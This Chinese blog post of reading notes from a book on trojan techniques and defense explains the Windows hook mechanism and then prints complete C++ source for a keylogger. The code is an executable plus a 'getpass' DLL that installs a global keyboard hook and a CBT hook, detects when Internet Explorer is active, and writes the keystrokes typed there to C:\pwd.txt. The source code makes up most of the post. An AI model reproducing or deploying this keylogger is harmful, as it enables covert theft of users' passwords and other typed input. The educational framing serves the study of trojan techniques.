木马控制技术(三) -- Hook技术
此为《木马技术揭秘与防御》系列读书笔记
基本概念
钩子(Hook)是windows消息处理机制的一个平台:
A hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.
要理解hook的工作原理,首先还是要弄清楚hook chain。微软有相应的文档:Hooks Overview
The system maintains a separate hook chain for each type of hook. A hook chain is a list of pointers to special, application-defined callback functions called hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other.
hook chain 就是一个回调函数指针组成的序列。当与某特定类型hook相关的消息到达时,系统将该消息以遍历的方式传递给hook chain中的每个hook程序。
windows 有两种系统钩子:
1. 特定线程钩子:监控指定的线程。钩子函数既可以是包含一个exe,也可是一个dll。
2. 全局系统钩子:可以监控系统中所有的线程。钩子函数必须包含在独立的dll中。
常用函数
无论是特定线程钩子还是全局系统钩子,都是通过 SetWindowsHookEx 来安装的。
当钩子函数得到了控制权,并处理完相关事件之后,如果想继续传递该消息,必须调用另一个函数: CallNextHookEx 。
Hooks tend to slow down the system because they increase the amount of processing the system must perform for each message. You should install a hook only when necessary, and remove it as soon as possible.
因为 Hook 会增加对每个消息处理的次数,导致系统变慢,所以要及时删除。用到的函数:UnhookWindowsHookEx
对应的,hook 函数的逻辑处理框架如下:
LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam ) { // process event ... return CallNextHookEx(NULL, nCode, wParam, lParam); }
源码
功能介绍:记录IE中的按键信息
1 // KBTracer.cpp : Defines the entry point for the application. 2 // 3 #include "KeyboardRecord.h" 4 #include "stdafx.h" 5 #include <iostream> 6 7 using namespace std; 8 9 int WINAPI WinMain(HINSTANCE hInstance, 10 HINSTANCE hPrevInstance, 11 LPSTR lpCmdLine, 12 int nCmdShow) 13 { 14 // TODO: Place code here. 15 MSG msg; 16 char text[] = "Error Loading DLL File"; 17 char title[] = "Key tracer"; 18 BOOL error = FALSE; 19 HINSTANCE dllHinst; 20 21 // create hook function 22 typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID); 23 LPFNDLLFUNC1 lpfnDllFunc1; 24 // load hook dll 25 dllHinst = LoadLibrary("getpass"); 26 27 // [DLL]SetKbHook 28 if(dllHinst != NULL){ 29 lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ"); 30 if(!lpfnDllFunc1){ 31 FreeLibrary(dllHinst); 32 strcpy(text,"GetProceAddress Error"); 33 error = TRUE; 34 }else{ 35 strcpy(text,"Hook Succ!!"); 36 lpfnDllFunc1(); 37 } 38 }else{ 39 error = TRUE; 40 } 41 42 if(error){ 43 MessageBox(GetDesktopWindow(),text,title,MB_OK); 44 } 45 46 while(GetMessage(&msg,0,0,0)){ 47 TranslateMessage(&msg); 48 DispatchMessage(&msg); 49 } 50 51 return msg.wParam; 52 //return 0; 53 }
接下来,编写getpass.dll文件
该文件的导出函数为 SetKbHook 和 RemoveKbHook 。
在 SetKbHook 函数中,调用了两个 Hook 函数:KeyboardProc 和 CBTProc。
1 DLL_EXPORT void SetKbHook(void) 2 { 3 if(!bHooked){ 4 hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL); 5 hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL); 6 bHooked = TRUE; 7 } 8 }
这两个函数显然属于回调函数,已经实现定义好,委托给用户自己实现。
CBTProc 在这里用来检测 IE 进程是否启动这一event,代码如下:
1 LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam) 2 { 3 if(nCode == HCBT_ACTIVATE){ 4 GetClassName((HWND)wParam,text,TXTLENGTH); 5 if(text[0] == 'I' && text[1] == 'E'){ 6 bIEActived = TRUE; 7 }else{ 8 bIEActived = FALSE; 9 } 10 } 11 12 return CallNextHookEx(hhookMsg,nCode,wParam,lParam); 13 14 }
KeyboardProc 用来记录用户的按键信息,并且写入pwd.txt文件内,代码如下:
1 LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam) 2 { 3 int i,tmp; 4 int flag_shift,flag_captial,flag_menu,flag_control; 5 6 if(bIEActived){ 7 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ 8 flag_shift = 0x8000 & GetKeyState(VK_SHIFT); 9 flag_captial = 0x0001 & GetKeyState(VK_CAPITAL); 10 flag_menu = 0x8000 & GetKeyState(VK_MENU); 11 flag_control = 0x8000 & GetKeyState(VK_CONTROL); 12 } 13 14 if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT && 15 wParam != VK_UP && wParam != VK_DOWN && wParam != VK_END && wParam != VK_HOME && 16 wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK && 17 wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN && 18 wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 && 19 wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){ 20 if((0x80000000 & lParam) == 0){ // wm_keydown 21 if(wParam >= 0x41 && wParam <= 0x5a){ // is any key down? 22 wParam += 32; 23 } 24 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ 25 if(wParam == VK_CAPITAL){ 26 tmp = 1; 27 }else{ 28 tmp = 0; 29 } 30 condition[count][wParam - 16 - tmp] = 1; 31 } 32 tomb[count] = wParam; 33 count++; 34 }else{ // wm_keyup 35 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ 36 if(wParam == VK_CAPITAL) tmp = 1; 37 else tmp = 0; 38 condition[count][wParam - 16 - tmp] = 2; 39 tomb[count] = wParam; 40 count++; 41 } 42 } 43 44 if(count == CHARNUM){ 45 fstream = fopen("C:\\pwd.txt","a+"); 46 47 for(i = 0;i < count;i++){ 48 switch(tomb[i]){ 49 case VK_DELETE: 50 fprintf(fstream,"%s","<del>"); 51 break; 52 case VK_RETURN: 53 fprintf(fstream,"%s","\n"); 54 break; 55 case VK_BACK: 56 fprintf(fstream,"%s","<Backspace>"); 57 break; 58 case VK_SHIFT: 59 if(condition[i][SHIFT] == 1) 60 fprintf(fstream,"%s","<ShiftD>"); 61 else 62 fprintf(fstream,"%s","<ShiftU>"); 63 break; 64 case VK_CONTROL: 65 if(condition[i][CONTROL] == 1) 66 fprintf(fstream,"%s","<CtrlD>"); 67 else 68 fprintf(fstream,"%s","<CtrlU>"); 69 break; 70 case VK_MENU: 71 if(condition[i][ALT] == 1) 72 fprintf(fstream,"%s","<MenuD>"); 73 else 74 fprintf(fstream,"%s","<MenuU>"); 75 break; 76 case VK_CAPITAL: 77 if(condition[i][CAPITAL] == 1) 78 fprintf(fstream,"%s","<CapD>"); 79 else 80 fprintf(fstream,"%s","<CapU>"); 81 break; 82 default: 83 fprintf(fstream,"%c",tomb[i]); 84 break; 85 } 86 } 87 fclose(fstream); 88 count = 0; 89 InitCondition(); 90 } 91 } 92 } 93 return CallNextHookEx(hhook,nCode,wParam,lParam); 94 }
完整的源码如下:
// getpass.cpp : Defines the entry point for the DLL application. // 键盘钩子 非常不完善 #include "stdafx.h" #include "KeyboardRecord.h" #include <iostream> #include <process.h> #define CHARNUM 5 #define TXTLENGTH 10 enum NUM{SHIFT,CONTROL,ALT,CAPITAL}; static BOOL bHooked = FALSE; static HHOOK hhookMsg = 0, hhook = 0; static HINSTANCE hinst; static int count; static char text[TXTLENGTH]; static BOOL bIEActived = FALSE; static char tomb[CHARNUM]; static int condition[CHARNUM][CAPITAL + 1]; static FILE *fstream; void InitCondition(void); LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam); LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam); BOOL WINAPI DllMain( HINSTANCE hInst, DWORD ul_reason_for_call, LPVOID lpReserved) { switch(ul_reason_for_call){ case DLL_PROCESS_ATTACH: hinst = (HINSTANCE)hInst; InitCondition(); count = 0; break; default: break; } return TRUE; } DLL_EXPORT void SetKbHook(void) { if(!bHooked){ hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL); hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL); bHooked = TRUE; } } LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam) { int i,tmp; int flag_shift,flag_captial,flag_menu,flag_control; if(bIEActived){ if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ flag_shift = 0x8000 & GetKeyState(VK_SHIFT); flag_captial = 0x0001 & GetKeyState(VK_CAPITAL); flag_menu = 0x8000 & GetKeyState(VK_MENU); flag_control = 0x8000 & GetKeyState(VK_CONTROL); } if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT && wParam != VK_UP && wParam != VK_DOWN && wParam != VK_END && wParam != VK_HOME && wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK && wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN && wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 && wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){ if((0x80000000 & lParam) == 0){ // wm_keydown if(wParam >= 0x41 && wParam <= 0x5a){ // is any key down? wParam += 32; } if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ if(wParam == VK_CAPITAL){ tmp = 1; }else{ tmp = 0; } condition[count][wParam - 16 - tmp] = 1; } tomb[count] = wParam; count++; }else{ // wm_keyup if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){ if(wParam == VK_CAPITAL) tmp = 1; else tmp = 0; condition[count][wParam - 16 - tmp] = 2; tomb[count] = wParam; count++; } } if(count == CHARNUM){ fstream = fopen("C:\\pwd.txt","a+"); for(i = 0;i < count;i++){ switch(tomb[i]){ case VK_DELETE: fprintf(fstream,"%s","<del>"); break; case VK_RETURN: fprintf(fstream,"%s","\n"); break; case VK_BACK: fprintf(fstream,"%s","<Backspace>"); break; case VK_SHIFT: if(condition[i][SHIFT] == 1) fprintf(fstream,"%s","<ShiftD>"); else fprintf(fstream,"%s","<ShiftU>"); break; case VK_CONTROL: if(condition[i][CONTROL] == 1) fprintf(fstream,"%s","<CtrlD>"); else fprintf(fstream,"%s","<CtrlU>"); break; case VK_MENU: if(condition[i][ALT] == 1) fprintf(fstream,"%s","<MenuD>"); else fprintf(fstream,"%s","<MenuU>"); break; case VK_CAPITAL: if(condition[i][CAPITAL] == 1) fprintf(fstream,"%s","<CapD>"); else fprintf(fstream,"%s","<CapU>"); break; default: fprintf(fstream,"%c",tomb[i]); break; } } fclose(fstream); count = 0; InitCondition(); } } } return CallNextHookEx(hhook,nCode,wParam,lParam); } /* The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether the system allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications. 判断IE是否被激活 */ LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam) { if(nCode == HCBT_ACTIVATE){ GetClassName((HWND)wParam,text,TXTLENGTH); if(text[0] == 'I' && text[1] == 'E'){ bIEActived = TRUE; }else{ bIEActived = FALSE; } } return CallNextHookEx(hhookMsg,nCode,wParam,lParam); } DLL_EXPORT void RemoveKbHook(void) { if(bHooked){ UnhookWindowsHookEx(hhook); } } void InitCondition(void) { int i,j; for(i = 0;i < CHARNUM;i++){ for(j = 0;j < CAPITAL + 1;j++){ condition[i][j] = 0; } } }
#ifndef _KTR #define _KTR #include <windows.h> #define DLL_EXPORT _stdcall(dllexport) DLL_EXPORT void SetKbHook(void); DLL_EXPORT void RemoveKbHook(void); #endif
// KBTracer.cpp : Defines the entry point for the application. // #include "KeyboardRecord.h" #include "stdafx.h" #include <iostream> using namespace std; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. MSG msg; char text[] = "Error Loading DLL File"; char title[] = "Key tracer"; BOOL error = FALSE; HINSTANCE dllHinst; // create hook function typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID); LPFNDLLFUNC1 lpfnDllFunc1; // load hook dll dllHinst = LoadLibrary("getpass"); // [DLL]SetKbHook if(dllHinst != NULL){ lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ"); if(!lpfnDllFunc1){ FreeLibrary(dllHinst); strcpy(text,"GetProceAddress Error"); error = TRUE; }else{ strcpy(text,"Hook Succ!!"); lpfnDllFunc1(); } }else{ error = TRUE; } if(error){ MessageBox(GetDesktopWindow(),text,title,MB_OK); } while(GetMessage(&msg,0,0,0)){ TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; //return 0; }
参考资源:
[1] 【HOOK技术】键盘钩子 http://www.cnblogs.com/chenang/archive/2011/11/04/2236554.html [2] 利用键盘钩子开发按键发音程序 http://www.vckbase.com/index.php/wv/40